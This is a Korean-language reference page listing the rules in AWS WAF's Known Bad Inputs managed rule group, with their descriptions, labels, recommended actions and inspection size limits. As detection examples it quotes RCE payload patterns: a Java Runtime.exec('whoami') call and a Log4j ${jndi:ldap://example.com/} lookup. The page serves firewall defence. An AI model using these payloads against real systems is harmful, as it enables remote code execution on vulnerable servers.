[AWS WAF Rule]AWSManagedRulesKnownBadInputsRuleSet

AWSManagedRulesKnownBadInputsRuleSet

AWS WAF의 알려진 잘못된 입력 차단 룰

이 룰셋은 이미 유효하지 않은 것으로 알려진 취약성 도용 및 발견, 관련된 요청 패턴을 차단한다.

규칙 이름	설명 및 레이블
JavaDeserializationRCE_HEADER	Spring Core 및 Cloud Function RCE 취약성(CVE-2022-22963, CVE-2022-22965)과 같은 Java 역직렬화 원격 명령 실행(RCE) 시도를 나타내는 패턴이 있는지 HTTP 요청 헤더의 키와 값을 검사합니다. 예제 패턴에는 (java.lang.Runtime).getRuntime().exec("whoami")가 포함됩니다. [주의 사항] 이 규칙은 요청 헤더의 처음 8KB 또는 처음 200개 헤더(둘 중 먼저 도달하는 제한)만 검사  웹 요청 구성 요소 크기 초과 AWS WAF 참고 추천 작업: Block [해당 취약점 보유 가능 App 사용 시] Label(레이블): awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_Header
JavaDeserializationRCE_BODY	Spring Core 및 Cloud Function RCE 취약성(CVE-2022-22963, CVE-2022-22965)과 같이 Java 역직렬화 원격 명령 실행(RCE) 시도를 나타내는 패턴이 있는지 요청 본문을 검사합니다. 예제 패턴에는 (java.lang.Runtime).getRuntime().exec("whoami")가 포함됩니다. [주의 사항] 이 규칙은 웹 ACL 및 리소스 유형에 대한 본문 크기 한도까지 요청 본문만 검사합니다. Application Load Balancer 및 AWS AppSync : 8KB CloudFrontAPI Gateway, Amazon Cognito, App Runner 및 Verified Access : 16KB(기본) - 64KB(최대, 웹ACL 구성변경 시)  웹 요청 구성 요소 크기 초과 AWS WAF 참고 추천 작업: Block [해당 취약점 보유 가능 App 사용 시] Label(레이블): awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_Body
JavaDeserializationRCE_URIPATH	Spring Core 및 Cloud Function RCE 취약성(CVE-2022-22963, CVE-2022-22965)과 같이 Java 역직렬화 원격 명령 실행(RCE) 시도를 나타내는 URI 패턴이 있는지 요청을 검사합니다. 예제 패턴에는 (java.lang.Runtime).getRuntime().exec("whoami")가 포함됩니다. 추천 작업: Block [해당 취약점 보유 가능 App 사용 시] Label(레이블): awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_URIPath
JavaDeserializationRCE_QUERYSTRING	Spring Core 및 Cloud Function RCE 취약성(CVE-2022-22963, CVE-2022-22965)과 같이 Java 역직렬화 원격 명령 실행(RCE) 시도를 나타내는 패턴이 있는지 요청 쿼리 문자열을 검사합니다. 예제 패턴에는 (java.lang.Runtime).getRuntime().exec("whoami")가 포함됩니다. 추천 작업: Block [해당 취약점 보유 가능 App 사용 시] Label(레이블): awswaf:managed:aws:known-bad-inputs:JavaDeserializationRCE_QueryString
Host_localhost_HEADER	로컬 호스트를 나타내는 패턴에 대한 요청의 호스트 헤더를 검사합니다. 예제 패턴에는 localhost가 포함됩니다. 추천 작업: Block [해당 취약점 보유 가능 App 사용 시] Label(레이블): awswaf:managed:aws:known-bad-inputs:Host_Localhost_Header
PROPFIND_METHOD	PROPFIND 요청에서 HTTP 메서드를 검사합니다. 이 메서드는 HEAD와 유사하지만 XML 객체를 필터링하려는 추가적인 의도를 가지고 있습니다. 추천 작업: Block [해당 메서드 미사용시] Label(레이블): awswaf:managed:aws:known-bad-inputs:Propfind_Method
ExploitablePaths_URIPATH	URI 경로를 검사하여 악용 가능한 웹 애플리케이션 경로에 액세스하려는 시도를 확인합니다. 예를 들어, WEB-INF와 같은 경로가 있습니다. 추천 작업: Block Label(레이블): awswaf:managed:aws:known-bad-inputs:ExploitablePaths_URIPath
Log4JRCE_HEADER	요청 헤더의 키와 값에 Log4j 취약성(CVE-2021-44228, CVE-2021-45046, CVE-2021-45105)이 있는지 검사하고 원격 코드 실행(RCE) 시도로부터 보호합니다. 예제 패턴에는 ${jndi:ldap://example.com/}이 있습니다. [주의 사항] 이 규칙은 요청 헤더의 처음 8KB 또는 처음 200개 헤더(둘 중 먼저 도달하는 제한)만 검사  웹 요청 구성 요소 크기 초과 AWS WAF 참고 추천 작업: Block Label(레이블): awswaf:managed:aws:known-bad-inputs:Log4JRCE_Header
Log4JRCE_QUERYSTRING	쿼리 문자열에 Log4j 취약성(CVE-2021-44228, CVE-2021-45046, CVE-2021-45105)이 있는지 검사하고 원격 코드 실행(RCE) 시도로부터 보호합니다. 예제 패턴에는 ${jndi:ldap://example.com/}가 포함됩니다. 추천 작업: Block Label(레이블): awswaf:managed:aws:known-bad-inputs:Log4JRCE_QueryString
Log4JRCE_BODY	본문에 Log4j 취약성(CVE-2021-44228, CVE-2021-45046, CVE-2021-45105)이 있는지 검사하고 원격 코드 실행(RCE) 시도로부터 보호합니다. 예제 패턴에는 ${jndi:ldap://example.com/}가 포함됩니다. [주의 사항] 이 규칙은 웹 ACL 및 리소스 유형에 대한 본문 크기 한도까지 요청 본문만 검사합니다. Application Load Balancer 및 AWS AppSync : 8KB CloudFrontAPI Gateway, Amazon Cognito, App Runner 및 Verified Access : 16KB(기본) - 64KB(최대, 웹ACL 구성변경 시)  웹 요청 구성 요소 크기 초과 AWS WAF 참고 추천 작업: Block Label(레이블): awswaf:managed:aws:known-bad-inputs:Log4JRCE_Body
Log4JRCE_URIPATH	URI 경로에 Log4j 취약성(CVE-2021-44228, CVE-2021-45046, CVE-2021-45105)이 있는지 검사하고 원격 코드 실행(RCE) 시도로부터 보호합니다. 예제 패턴에는 ${jndi:ldap://example.com/}가 포함됩니다. 추천 작업: Block Label(레이블): awswaf:managed:aws:known-bad-inputs:Log4JRCE_URIPath